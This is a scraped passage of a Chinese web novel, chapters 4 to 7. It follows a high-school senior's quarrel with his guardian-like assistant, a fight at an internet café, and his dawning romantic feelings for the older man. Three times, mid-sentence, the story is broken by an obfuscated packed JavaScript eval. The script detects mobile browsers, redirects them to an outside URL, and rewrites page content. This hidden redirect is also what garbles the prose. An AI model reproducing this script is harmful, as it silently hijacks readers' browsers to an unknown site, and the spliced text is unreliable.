“叩叩。”教室后门的玻璃被敲响。 一大半的同学寻声望过去,林缅抬头看去,悬着心终于死了。 郜屿宁身子微微前倾,压低视线,透过门上那一条不算高的窄窄的玻璃看向他,眉眼冷俊,比窗外的黑夜还要晦暗。和林缅对视两秒后,郜屿宁直起身子往旁边走了一步,站到室内学生看不到的盲区。 林缅慢吞吞地站起来,正好和前桌的陈汋和池景行对视,他们不约而同地给了他一个“祝你平安”的眼神。 林缅出门后,郜屿宁没看他一眼就朝楼梯走去,林缅默默地跟在他身后。走出教学楼迎面一阵冷风,两个人沉默无言地走到了没人的停车场。 “哥…今天不才周四吗?怎么这么早就回来了?”上了车后,林缅小心翼翼地问。 郜屿宁没有回答他,扯了扯冲锋衣的领子,露出了里面的衬衫领带,应该出差刚回来换了件外套就来学校了,语气冰冷,“说吧。” 林缅明白郜屿宁让他说什么,为什么突然就不想出国了,但是他扯着嘴角装傻,“说什么呀…哥。” 郜屿宁沉默地看着他,面无表情。 刚刚一路的冷风把林缅的嘴唇吹得有些干燥,他这才舔了舔嘴唇,“我不想出国,你不也是在国内读的大学…” “我在哪里上的学跟你有关系?” 车内沉寂了片刻。“怎么没关系。”林缅拧着衣服的下摆撇过头。 “拿这种事儿跟你爸置气幼不幼稚?” “跟他没关系。”林缅不太高兴地低声说,“别老是拿我爸来压我。我考什么样儿都不用他管我。” “林缅,你是不是太自以为是了一点?不用管?帮你收拾的烂摊子还嫌少?”郜屿宁冷冷地戏谑。林缅这次模考的成绩连个普通一本都够呛。 但这话在林缅听来却像是在和他撇清关系。郜屿宁说到底是林佑勤的助理,照看林缅也只是他的工作,林缅不听话,难做的是他。 林缅下意识地烦躁起来,跟炸了毛的猫一样,别扭地说道,“你少教育我了,我自己的事情凭什么不能自己做主!” 被莫名其妙发了通火的郜屿宁更不爽了,“你特么以为我稀罕管你是吧?” “对啊,你本来就不想理我!你嫌麻烦就直接跟我爸告状去好了。”说到激动的林缅控制不住地开始流眼泪。 “我爸说让我少黏着你你肯定偷着乐呢,你肯定巴不得我爸多打我骂我几顿给你解解气呢!” “林缅,你讲话有点分寸。”郜屿宁冷着声音说。 “反正你讨厌死我了,还有、还有我之前被砸破脑袋进医院,你肯定恨不得我当场死掉就省事了!” 林缅话说的越来越不着边,都说出口了才发现自己实在有点过了,这才噤了声抬起手臂擦眼泪。但是郜屿宁已经面如冷霜。 林缅吸了吸鼻子,把眼睛垂下,语气瞬间软了下来,“哥…” 林缅的头发刚刚被自己拨乱了,额角的疤在车顶灯下若隐若现。 郜屿宁没有像以前那样帮他把头发理好,把那条明明很淡了但在他依旧觉得刺眼的疤遮起来,只是冷冷地看向他躲闪的眼睛。 林缅被他看得心虚,伸出一只手握住郜屿宁搭在方向盘上的手腕,带了些撒娇的意味,“哥哥…” “滚下去。”郜屿宁皱着眉甩开他的手,移开视线,看向挡风玻璃外的夜色。 “哥…我知道…” 边说林缅小心翼翼地抬起眼睛看向郜屿宁,但郜屿宁直接打断了他,抬手指着他,“我不跟你扯别的,出国的事情你自己想清楚。” “我想得很清楚…” 不等林缅说完,郜屿宁继续说,“没想清楚之前,别来找我。” 林缅张了张嘴,还要说些什么,郜屿宁不容置喙,“滚。” 林缅知道郜屿宁生气铁了心不想理他,现在再说别的也是火上浇油,擦了把眼睛,忍泪吞声地下了车,透过暗色的玻璃看着郜屿宁冷峻的侧脸。 直到车身滑了出去也没等到郜屿宁再看他一眼。 争吵后的委屈和被漠视的失落像一只手攥着他的心脏摁进酸水里,泡得他酸胀得难受。 等到周五傍晚放学,林缅拖着步子走出校门,不出意外地没找见郜屿宁的身影,来接他的是司机张叔。 “张叔。”他心中难掩失落地上了车,就如林佑勤上周交代的一样,让他这周回了林家。 明明是自己房间,他却怎么待怎么不得劲儿,一展柜的手办他却只想要那个被随便丢在郜屿宁家床头的那个,坐到书桌前,卷子上一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990802|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿都看不进去。 他拿出手机,他和郜屿宁从昨晚吵完架分开后就没再联系过。 在他和郜屿宁这么多年相处以来,第一次有这样大、这样严峻的分歧。 以往都是些小打小闹,郜屿宁或是无奈迁就,或是厉声警告,林缅都很快就识相地见好就收了。 只是林缅这次也是铁了心地不肯低头认错后出国。这样一闹,只能落得冷战的地步,分走了林缅大半的精气神儿。 就连餐桌上丰盛的鱼虾蟹肉他都吃不进去,拉着张小脸没精打采。 “难得回家一趟,一家人还得看你脸色?”林佑勤厉声指责,给他郁闷的思绪又蒙上了一层烦躁。 “本来就不想回来。”林缅低声抱怨,扒拉着碗里的饭,快被他碾成糍粑了。 沈珏赶紧在中间说好话,给林缅夹了只虾,好声好语地劝着两人,“难得聚在一起吃顿饭…小缅吃虾,妈妈记得你最爱吃这种虾了…” 林缅本来就对林佑勤有怨气,心想,要不是因为林佑勤,郜屿宁才不会迫于压力干涉他出不出国的事情,这样他也不用为哄郜屿宁发愁。 林缅心中恼着,继续火上浇油,“在外边那么多人给您笑脸,您也不差我这一个。” 饭桌上气氛剑拔弩张,对面的双胞胎连动作都同步地放轻缓了很多… 在认识郜屿宁之前,林缅算是被家里佣人伺候大的,性格娇惯,随心所欲惯了,后来挨了再多打、吃了再多苦头也不长教训,依旧做事冲动,说话也口无遮拦。 林佑勤自然是不会惯着这个他认为不成器又不省心的儿子的,直接把筷子重重地拍在桌上,“说的什么话?不想吃滚!谁欠你的?” “没良心的人东西!我怎么会教出你这样的儿子!”外人眼里的大企业家,被儿子气得额角青筋暴起,形象全无。 “别把自己说得跟个负责任的好父亲似的,”林缅不甘示弱,梗着脖子,继续冷哼道,“您到底教过我什么了?林佑勤。” 林佑勤的大名一出,餐厅口的保姆也抖了一下,果不其然,一桌的饭菜下一秒就要被掀翻。 原本还在两人之间手忙脚乱打圆场的沈珏,在一片狼籍发生之前本能反应地护住了双胞胎,一手一个只及她腰高的小儿子,被蒙住眼睛贴在她身侧。 林缅的余光瞥见,原本空荡荡的胸口瞬间被落寞填满,连下一秒林佑勤打在他的脸上的巴掌也没躲得开。 他哗得踢开椅子,沉重的红木在地板上拖出难听的声音,紧接着转身走出餐厅,跑上了楼。 林缅倒在床上对着天花板发呆,左半边脸火辣辣的疼,像是密密麻麻的针扎在皮肤上,但都不及心头的半分。 他翻身摸到床边的手机,郜屿宁的聊天框旁依旧没有红色的未读消息提醒,心往下沉得更深。 林缅不是没有预料到郜屿宁会很生气,只是没想到只是短短冷战一天,竟然都难熬成这样。 眼中噙了很久的眼泪终于要无法自控地流下来。 卧室的房门正好被叩响。 5. 第 5 章 是沈珏,手上拿着一罐药膏走进房间。 “妈妈…”林缅擦了一把眼睛,从床上坐了起来,低声喊了句。 沈珏坐到他床边,怜惜地看着他侧脸上那个还未消肿的红印,眼神里也泛着光。 林缅吸了吸鼻子,把脸偏过去。 “小缅,你怎么老是不长记性呢?” 沈珏指腹蘸上乳白色的药膏,轻轻托着他的脸,温柔地帮他打圈擦药。 林缅感觉到麻木的皮肤上被冰凉的温度唤醒了知觉,他闻到沈珏身上的香味,是他从小记忆里妈妈的那种味道。 他抿了抿嘴唇,“明明是他先说我的。” 沈珏轻叹了一口气,把药膏收好。 林缅掀起眼皮,有些不悦地问,“妈妈,你是不是要说,我跟我爸一个磨子刻出来的,脾气什么都一模一样,所以才动不动就吵架。” 沈珏帮林缅理头发的手微微顿了一下,摇了摇头,说道,“不像,你跟你爸爸一点都不像。” 林缅松口气,“那就好,我才不要像他。” 沈珏微微笑着,“但是,妈妈看得出来你心里藏着事情。” 林缅的睫毛轻轻抖了两下,但还是咬着嘴唇,默不出声。 “我猜猜看?”沈珏弯起眉眼,声音像水一样。 “跟朋友吵架了?打游戏输了?有喜欢的女孩子了?” 林缅都一一摇头,“其实真的没事…” 沈珏轻叹了一声,用手臂环住林缅的肩膀,像是他还小的时候那样把他揽进怀里,语气是真实的失落,“宝宝…为什么长大了之后就不和妈妈亲了呢?” 其实他知道沈珏已经做得够好的了,至少在没有弟弟的那几年里对他真的是视如己出,甚至有了弟弟之后她也没有冷落过他,林缅归咎于是自己敏感和多疑,就比如刚刚沈珏护住双胞胎的举动,他会无端地想到,从来没有一个人这样保护过他。 他怕沈珏难过自责,眼里微微泛起泪光还是眯起眼睛,笑着安慰她,“我真的没事呀,妈妈。” 沈珏抬手继续帮他把翘起的头发捋顺,目光疼爱,“时间好快,宝宝都长这么大了…” “这条疤怎么还这么明显,妈妈带你去弄掉它,好不好?” 林缅胡乱地抓了两下头发,又把头发弄乱了,后仰着撑在床上,“算了,又不碍事。” 沈珏很认真地问,“那你以后长大变成那种精英男,梳背头的时候露出来也没关系吗?” 林缅被沈珏逗笑了,但他想到了郜屿宁,有时候会把头发往后梳,露出光洁的额头和无可挑剔的眉眼,非常帅。 他又开始想他哥了。 好想好想哥哥。 不知道哪来的底气,他觉得如果有人要打他,郜屿宁在场的话肯定会拦住那个人,把林缅护在身后,即便那个人是他爸。 想到这里林缅心里像是被苦水泡过一样,就连他的凭空幻想都能笃定地感受到郜屿宁对他有多好,但是他昨天吵架时居然那样口不择言,白白伤了他的心。 但林缅却一直都是一个冲动上头后习惯于逞一时口舌之快的人,不然也不会吵架时意气用事随口说出让郜屿宁寒心的话、也不会那么多次明知道最后会被林佑勤打还要顶嘴。 “妈妈,我真的没事,我要是有事肯定跟你讲好吗?”林缅从床上跳到地上,把沈珏拉起来。 沈珏还要说什么,但在林缅一声声甜蜜却敷衍的妈妈中被推出了房间。 林缅一个鱼跃蹦到床上,趁着冲动找出手机,深呼一口气,颤颤巍巍地给郜屿宁发了条消息。 林缅:哥。 显示发送成功,林缅紧张地牙齿都要开始打架了。 时隔四五分钟就要刷新一次手机,一听到消息提示音就赶紧蹦到手机边,心脏跳得很快。 简直和表白过后焦急等待回应的青春期小男生无异。 但好久都没有收到回信,心如死灰的状态也和表白被拒绝没有区别。 高三的这个阶段几天一小考,几周一大考。 “表白被拒绝”后的林缅痛定思痛,发誓一定要在半个月之后的校内模考中拿出漂亮的成绩。 狠狠扔到郜屿宁的面前,让他小瞧他。 上学之后,林缅开始加入陈汋的夜间补课小组。但是普高部管得很严,由奢入俭难,林缅也是适应了好一段时间才习惯普高部的学习强度。除此之外,宿舍夜间熄灯、阿姨查房不允许出声,教室更不用说了,保卫科巡逻一逮一个准。 林缅想到了一个馊主意。普高部校区比国际部要老旧很多,等熄灯之后林缅带着他们翻墙出去,去了商业街的一家黑网吧里包夜。 居然还真混了这么几天都没被发现。 就是得拜托成年了的徐语常每天都要半夜来给他们开包厢。 明明ED就确定好院校、能在家里高枕无忧的徐语常还得半夜到点来网吧看三个小孩儿上网课,有点像托管老师。 “你说说你图啥,像我这样摆烂不好吗?”徐语常戴着帽衫,窝在沙发里,两条腿交叠着跷在桌上。 “你少来勾引我,我都下定决心要好好学习了。”林缅把卷子翻来翻去。 徐语常耸了耸肩,吸了口烟,瞬间房间里都充满了西瓜还是草莓甜腻的味道,不难闻,但是林缅皱了皱眉,“能不能出去抽烟?” 徐语常眯起眼睛,“什么时候轮到你说我了?不是你抽得起劲的时候了?” 林缅把草稿纸翻得稀里哗啦,漫不经心地回答,“早扔了,我哥不让我抽烟。再说了,我本来就是尝个味道,你也赶紧别抽了。” “哼哼,你也太听你哥话了。”徐语常阴阳怪气,把烟随手丢在了茶几上。 “兄弟这样不是很正常,小行也很听陈汋话啊。”林缅说着下巴朝旁边位置上脑袋紧挨在一起的两人抬了抬,对面两人都僵了一下。 “你确定一样?”徐语常看了那两人一眼,又看向林缅。 “有什么不一样的。”林缅边说着边把卷子翻了个面,又是一道圆锥曲线。 他把草稿纸整了整,开始埋头苦算。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990803|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等做完整张卷子,林缅如释重负地伸了个懒腰,看见徐语常已经睡着了,他找老板要了条毯子给徐语常胡乱盖上,陈汋和池景行也不知道去哪里了。 他发了几条消息,却发现那两人连手机都没带。他没多想,想去趟卫生间,回来小咪一会。 网吧的卫生间狭小逼仄,有一点动静就能听清,林缅刚进门的时候就听到隔间里传出响动。 起先并没有多在意,但站到便池旁边时,这声音越来越清晰,有点像咂摸嘴的声音。 “呼吸…” 这声音好像陈汋。 “小行,都亲了那么多次了怎么到现在连呼吸都没学会。” 林缅的下巴差点掉到地上,匆忙尿完就溜了回去。连路都不好好看,转角处还撞到了一个神智不清的醉汉,红着眼布满血丝,恶狠狠地瞪着他,正要不爽地破口大骂。 “不好意思,不好意思…”林缅这才反应过来,躬着腰连声道歉,说完慌里慌张地跑回自己包厢。 回到位置上,困意全无,口干舌燥,猛灌了好几口水。 徐语常被他逃回来的动静吵醒了,看着林缅坐立难安的模样,聪明细腻的徐语常很快就猜到了,“看见什么了?” “啊?”林缅如惊弓之鸟,扭头看向她。 徐语常从毯子下面伸出一根手指,点了点那两个空着的座位。 林缅顺着她手指的方向看过去,惊讶地问道,“你、你早就知道了?” 徐语常有些无语,“他们俩这么明显,你是不是太迟钝了一点?” “什么?” 见林缅还是一脸懵,她直接说道,“你觉得陈汋管池景行那个管法是在管弟弟吗?” “哦…哦,”林缅还是没缓过来,但是嘴上应着,又问道,“那…他们知道你知道吗?” “知道啊。” 林缅一下子急眼了,跳了起来,“合着就我一个人蒙在鼓里!” “应该反思一下的是你自己好吧!他们本来也没打算避着人,是你自己,不知道一天到晚在琢磨啥。”徐语常指控他。 林缅咬着嘴唇上的死皮,噤了声,确实有些心虚,最近的心思都放在和郜屿宁冷战的悲愤交加里了。 没过一会,陈汋和池景行就回来,林缅脸红到脖子根跟他们坦白了自己已经知道他们在偷摸谈恋爱的事情。 池景行有些害羞地抓着陈汋衣服的下摆躲到他的身后。陈汋耸了耸肩,语气平常地说,“我还以为你早就知道了。” “不然也不会说,你和你哥跟我们俩一样了。” 林缅愣了一下,脸上的表情有片刻的凝固。 陈汋突然笑起来,“哈哈,我开玩笑的。” 林缅依旧愣在原地,还没缓过劲儿来。 突然包厢的门被踹开,害陈汋往前踉了两步。 几个无业游民扮相的人站在门口,身上带着浓烈且难闻的酒味,醉得面红耳赤,横眉怒目地扫视着包厢内几位看似家境有钱、青春期不学好、逃学来网吧装叛逆少年的乖宝宝。 6. 第 6 章 很遗憾的是,和郜屿宁冷战后宣布要来一个士别三日当刮目相看的林缅,在第四天学习小组半夜活动的时候和小伙伴们进了局子。 郜屿宁凌晨两点到警局的时候,林缅坐在大厅的公共排椅上打瞌睡,看见郜屿宁风尘仆仆地走进来,他却别扭地扭过头,巴不得郜屿宁没看见他。 旁边一位叔叔走到郜屿宁面前,稍微交代了几句,郜屿宁微微点了点头。那位叔叔又走过来拍了拍林缅肩膀,林缅才把头从书包里抬起来,郜屿宁正面无表情地看着他。 没想到会以这种方式再见面的林缅有些不好意思和难为情,慢吞吞地跟着郜屿宁走出了警局。 外面是漆黑宁静的夜,风刮在身上有些刺骨,郜屿宁视线在他浑身上下扫了一遍,确定没有受伤,才开口,声音更是冰冷。 “为什么闹事?” 林缅却有的是倒打一耙的本事,委屈巴巴地控诉,“因为你不理我,给你发消息也不回,你看你都多久没理我了!” 郜屿宁直接站住,没有跟他插科打诨的心思,“好好说。” 林缅这才识相地交代,“我们去网吧…”他偷偷看了郜屿宁一眼,继续说,“是去上网课的,那些小混混看我们几个男生只有徐语常一个女孩子,嘴巴不干净…我们就跟他们吵起来了,砸了他们的电脑…” 他又强调,“是他们先找事儿的!” “你又抽烟了?”郜屿宁突然问,眼里的情绪依旧是一片漆黑。 “没有!绝对没有!”林缅抬起袖子闻了闻,闻到一股甜腻的香气,“应该是徐语常抽的…” 郜屿宁收回视线,继续往前走。 “他们呢?”两人已经走到摩托车边。 林缅接过郜屿宁递过来的头盔,戴上之后,郜屿宁帮他把帽衫的拉链拉到顶上,林缅回答,“都已经被接走了。” 郜屿宁帮他整理衣领的手顿了一下,滚了滚喉结,淡声说,“是我来晚了。” “哥,我还以为你不会来接我了呢。”林缅只有一双眼睛露在外面,眨巴眨巴的。林缅知道郜屿宁睡眠不好,每天晚上都要靠安眠药入睡,所以来迟也不奇怪、直接错过也不奇怪。 郜屿宁看了他一眼,把他头盔上的护镜拍了下来,“我倒是不想来,你是我老板的儿子我能不来吗?” “可是你又不是不知道,你老板最不喜欢他这个儿子,你刚刚没看到吗?我嘴角还有伤呢,被我爸打的!都怪你上周不来接我。”林缅又把护镜抬了起来,拧着眉毛气呼呼地说。 “那为什么又不愿意出国了?这样你就可以离你爸远一点了。”郜屿宁停下戴手套的动作,一手撑在摩托车的坐垫上,微微弯着腰,看向林缅的眼睛。 林缅眼睛闪了一下,因为郜屿宁的靠近他上身不自觉地向后微微仰了一下,耳朵被捂在头盔里以至于耳膜传来一股一股的声音非常明显,他的嘴巴却因为找不出理由沉默着。 “你是不是谈恋爱了?”郜屿宁问。 林缅突然意识到那一股一股的声音是自己的心跳。可是为什么心跳会这么快呢?他的视线躲闪着郜屿宁的眼睛,落在他的嘴唇上,目光变得有些呆滞。 林缅的嘴巴被捂在头盔里,他下意识的张了张嘴,正好蹭在头盔内有些粗糙的纹理上,不知为何有些委屈和心酸。 “林缅,”郜屿宁在心中得到了肯定的答案,站直了身子,嘴角压了下来,声音变得近乎冷酷,“你觉得为了这种事情放弃自己的前途很伟大吗?如果你只是为了和某个人同路改变自己的生活,也不会有好结果。” “哪有这么严重!”林缅反驳道,他很不喜欢郜屿宁这样一本正经地说叫他,“我说了是我自己不想走不想走,为别人改变什么了?” 眼看林缅的眼睛已经红了一片,就要因为情绪激动飙出眼泪,郜屿宁又把他的护镜合上,转身自己也戴上头盔。 争吵无果。 林缅坐在郜屿宁的后座,风声穿透头盔听上去依旧猎猎,黑夜里城市的缩印倒影在他的护镜上,斑斓又浪漫。他抱紧郜屿宁的腰,靠在他的背上,觉得满足又远远不够。 摩托停在学校门口,林缅跳下摩托,护镜不知道为什么全是水雾,他摘下头盔,眼睛鼻子全都红着。 郜屿宁也摘下头盔挂在后视镜上,一只手掐着他的脸仔细看了看他说的嘴角的那个伤口,其实不说已经根本看不出来了。 但是小少爷仰着头要他看个仔细。 郜屿宁左手拎着林缅递给他的头盔,右手拍了拍他的脸,难得温柔一次,“好了,进去吧,明天我帮你和老师请假,在宿舍里好好睡一觉,以后晚上别溜出去了。” “哦…” 林缅背着书包朝保安室走去,郜屿宁拎着头盔朝摩托车走去。林缅突然回头,看见天边已经渐渐泛起了鱼肚白,郜屿宁像是朝着红光乍现的方向走去的,路灯和隐约的晨光披在他身上。 中二时期的林缅觉得郜屿宁像是日本特摄剧里的男主,或是美国漫威电影里的超级英雄一样出现在他的面前。今晚也是,和以前很多次一样。 纵观林缅的整条成长道路,郜屿宁出现的意义也是这样的。把独自在海中沉浮的林缅,打捞上船,一起上了一座只有他们两个人的孤岛。 林缅后知后觉自己为什么心跳那么快了,为什么郜屿宁问他是不是在谈恋爱的时候会下意识地心虚,为什么陈汋只是开玩笑说你们俩和我们一样的时候竟然没有反驳,甚至觉得合理。 他想要和郜屿宁永远都困在那座岛上,就只有他们两个。 在他意识到自己在做什么时,他已经朝着渐行渐远的人影跑去,用力抱住他的腰,显然对方没有意料到他的偷袭,身子被撞得踉跄了一步。 “哥…别生气了好吗?”林缅眼泪止不住地往下落,“我会自己跟我爸说的。” 郜屿宁的身子依旧僵直。 “不会让你为难的,哥哥。”林缅在称呼上微微加了尾音,像是在撒娇。 郜屿宁呼出一口气,白色的雾气在晦暗的天色中升腾消散,“林缅,你觉得我是因为这个所以跟你生气的吗?” 林缅的双手被不算温柔地扒了下来,郜屿宁转过身看着他,林缅抬手把脸上的泪痕擦干净,抬眼看向郜屿宁,有理有据地说道,“哥,明明我说那些难听的话你也会觉得寒心生气,为什么你还要一直把我推走呢,我也会伤心啊…” 扭过头继续说,“你明明知道,我只有你了。” “林缅,你至少应该先跟我商量。”郜屿宁的语气一直低沉着。 “商量你也不会同意。”林缅的倔劲又上来了,嘟囔着说。 “那你应该知道我为什么不同意。” 因为林缅从小任性娇惯,三分钟热度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990804|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想一出是一出…这次就和林缅以前心血来潮做出的决定一样,用前一秒爱不释手的球鞋下一秒就被用来踩水坑、看到中意的手办说换就换,但转手就丢在角落蒙灰… 眼看林缅的眼泪又要流下来了,郜屿宁摘下手套,用食指关节在他脸上轻轻刮了一下,把一颗圆润的泪珠刮走了,“行了,别委屈了,你自己好好想想吧。” 郜屿宁揽着林缅朝保安室走去,敲了敲黑漆漆的窗子,听到里面传来脚步声,他用力捏了捏林缅的肩膀。 值班的保安开了门,郜屿宁陪了个笑脸,把人送了进去,看着林缅慢吞吞地走进教学楼消失不见才转身离开。 林缅回到一个人都没有的宿舍,脱下衣服外套就钻进被子里,把自己裹成一个蚕蛹,哭得整张床都在抖。 郜屿宁居然说他没什么好哭的,说他没什么可委屈的。 他简直委屈死了。 他喜欢郜屿宁。是一刻也不想跟他分开的那种喜欢,也是不想跟别人分享的那种喜欢。 不是简单的对哥哥的喜欢。是想亲亲郜屿宁的嘴巴,想要抱住他,想… 反正就是想和郜屿宁像陈汋和池景行那样谈甜甜的恋爱的那种喜欢。 认清自己感情的这一刻,他也不知道是豁然开朗更多,还是崩溃难堪更多。 周五上午,这周末池景行过生日,邀请他们去家里玩。林缅给张叔发了消息说自己这周末不回家。 又可怜兮兮地给郜屿宁发了消息:哥,你这周末让我回家吗? 过了半个小时对面还是沉默着。 林缅:不让回的话我住到同学家里去了。正好池景行过生日。 郜屿宁早会结束,已经是快要午休的时间了。他才看到林缅接连的两条消息,中间隔了大半个小时,无语地发笑。 也不知道正哪里的好,正好郜屿宁不让他回家,所以才去同学家过生日? 他便只是冷淡地回了个知道了。 郜屿宁从来没说过不让他来自己家。林缅抬起尾巴,郜屿宁就知道他这又是在向自己卖可怜呢。他将计就计不理会林缅的这些小心思。 他打开手机邮箱,好几封未读邮件,他远程连上打印室的打印机,想着趁现在办公区人少,打印了出来。 正准备起身去打印室拿资料,办公室的门就被敲响了。 是新来的实习生何琰南,手里拿着一叠资料,殷勤地递到郜屿宁的桌上。 “郜助,正好在打印室看到是您打印的文件就给您送过来了。”何琰南有些拘谨地说。 郜屿宁愣了一下,拿过那一叠纸整了整放到一叠文件夹的下面,皮笑肉不笑地对他扯了一下嘴角。 “郜助…您有弟弟?”何琰南也不是故意要偷窥郜屿宁的私人生活,但是不小心看到郜屿宁打印的都是批改完的高考模拟卷,还是没忍住攀谈了起来。 郜屿宁看着电脑屏幕,随口应到,“嗯,高三了,在准备高考。” “哦…那压力还挺大的…” “你不去吃饭吗?”郜屿宁看向他。 “哦…去的,要帮您带吗?”何琰南被郜屿宁突然的压迫感吓了一跳。 郜屿宁的视线又回到电脑上,“不用,把门带上就行。” 吃了闭门羹的何琰南讪讪地出了门,但心里还在疑惑为什么那些卷子上的署名姓林,而不是姓郜。 7. 第 7 章 池景行的生日在周六,林缅不客气地从周五就在他们家留宿了。 因为是十八岁大生日,陈汋的父亲为这个继子也大办了一场宴会。从上午开始,陈家门口宾客络绎,无人不晓陈家后来的小儿子有多受宠。 只是成年人不放过把任何场合变成名利场的机会。而真正的聚会则在别墅的地下影院里,池景行的朋友并不多,但陈汋又叫来了很多自己的朋友,氛围活泼热闹。 为合礼数,池景行打扮得像个小大人一样先在大人们面前露了个面,当他穿着一板一眼的小西装跟在陈汋后面走进地下影院的时候,引起一阵欢呼。 一向腼腆的池景行不习惯于成为人群的焦点,躲到陈汋的身后,林缅第一个冲过去把礼物塞进他怀里,惊呼道,“祝小行宝宝成年快乐!” 偌大的家庭影院又欢腾起来,大家也纷纷送上礼物。池景行害羞且认真地一个个道谢,陈汋站在他身旁帮他一个个收好。 晚上聚会结束,朋友们都三两成群的离开,最后只剩下他们关系最要好的四个。 “哎…现在只剩下林缅还没有成年咯。”徐语常故意用遗憾的语气逗林缅。 林缅不以为意地躺到沙发上,“但是作为这个小团体的忙内,很明显我的心智比你们都要更成熟一些。” 陈汋和徐语常都不约而同地翻了个白眼,懒得反驳。用实际行动告诉他,不理他这种喜欢睁眼编瞎话的行为才是真正成熟。 池景行默默地抽了一张纸巾借着星空顶昏暗的光线抓着白西装的下摆用力蹭了蹭,擦来擦去还是一片深色的污渍。 “成人礼穿不了了…”原本准备下星期学校成人礼也穿这套定制西服的池景行遗憾地说。 陈汋拿过他手里的纸巾,团成团丢进垃圾桶,“不要了,穿新的。” “时间好快啊,都要成人礼了,成人礼之后两个月多你们就要高考了哦。”提及成人礼,徐语常有些感慨地说。 说到毕业之后的生活,一个个都起劲起来。 林缅横躺着霸占了一整条长沙发,盯着星空顶发呆,心头突然一阵酸胀。他们三个都对未来的生活有明确的期待,只有自己… “林缅怎么不说话?”徐语常问。 陈汋安慰他,“你上次校内模考不考得挺不错?照这个进步速度,你高考肯定没问题的。” 林缅依旧沉默着,池景行察觉到林缅不想讨论关于高考关于未来的话题,推了推陈汋,“你去拿你上次说的那个桌游卡牌吧,我们玩游戏。” 陈汋看了眼时间,又看向池景行一动未动。 未听到动静的林缅把自己哄好后,一个翻身起来,“算了,我去拿。” 边走边问,“在你书包里吗?” “嗯…” 自从周五回来之后,他们三个人就跟脱缰的小野马一样把书包丢在陈汋书房的柜子前,放假后就没再碰过。 林缅上到了书房,拎出陈汋的那个最鼓却意外很轻的书包,一打开下巴又掉地上了。 “别动!”陈汋的声音正好在背后响起。 但为时已晚,林缅蹲在地上缓慢地转过身,食指和中指夹着一个小盒子,看向陈汋,“我要被你们同性恋吓死了…” 说到一半他就没底气了。 一书包的避孕套,想要翻找出传说中的卡牌盒还需要一些精力。 陈汋把他扒拉到一边,翻找出了盒子。 “怎么没把你憋死?”林缅嫌弃地问。 “你以后就懂了。” “我懂个屁!太畜生了你!” “我哪里畜生了,小行今天就满十八岁了。”陈汋哼笑了一声,说,“倒要看看是我先憋死,还是你先被吓死。” 停顿了两秒后他又阴阳怪气,“别最后是你这个异性恋被憋死。” 林缅抿直了嘴唇。其实他很容易就调理好了自己也是个同性恋的事实,他咬了咬牙内心踌躇,不知道要不要正式和陈汋出柜。 就在他挤牙膏似的嗯嗯啊啊的时候,外面传来脚步声,两个人突然一阵慌乱,好几个避孕套被丢在地上,陈汋胡乱地抓起来丢进书包,两个人手足无措地站直面向门口。 徐语常不耐烦地站在门口,看着像在罚站似的两人,“干什么呢?磨磨唧唧。” 林缅的手里还拿着一开始那个盒子,藏在身后,直接松手让它自由落体,消失在了书包堆里。 “来了来了。” “聊什么呢?什么死不死的?” “讲鬼故事呢,哈哈。” 这天晚上这件事情就打着哈哈过去了。之后的一个星期,林缅投入紧张刺激的学习之中,除此之外,依旧坚持着对郜屿宁日行一“骚扰”。 周五,就是之前觉得永远不会到来或是还早着呢的成人礼了。 换做以前,林缅一定会穿假面骑士Faiz的皮套在学校里装波大的,但过了中二时期的林缅居然觉得麻烦,还要辛苦国外的林准帮他订,想想就折腾。 林缅穿了一套沈珏带他去订的西服,简单大气。原本沈珏也准备来参加他的成人礼,他却婉拒了,说已经有他哥郜屿宁来参加了。 但其实他压根没告诉郜屿宁成人礼的事儿。 他是很想很想见他哥。 但上次分开的时候郜屿宁让他好好想想。 想什么想什么?他光想他哥了。光想通了自己是同性恋的事情。一想到见面,还有些发怵。 除了闷头苦学他不知道还能干什么了?只要一抬头就是对未来的迷茫和惶惑,他就是像是找不到太阳的向日葵。 人缘很好的向日葵被很多朋友邀请拍了合照,还有不少外班不认识但暗恋他的女生,他照相照得脸都僵了。 他们四人组也一起拍了合照,又俩俩拍了照片,林缅才恢复了一点元气。然后徐语常去国际部找她妈妈去了,陈汋和池景行不知道去哪里吃嘴子了。 向日葵走到远离人群的廊亭边,看着草坪上欢闹雀跃的众人,坐在石板凳上,周围的柱子上缠满了郁郁葱葱的藤蔓,终于有点春天的样子了,可是还是没精打采的。 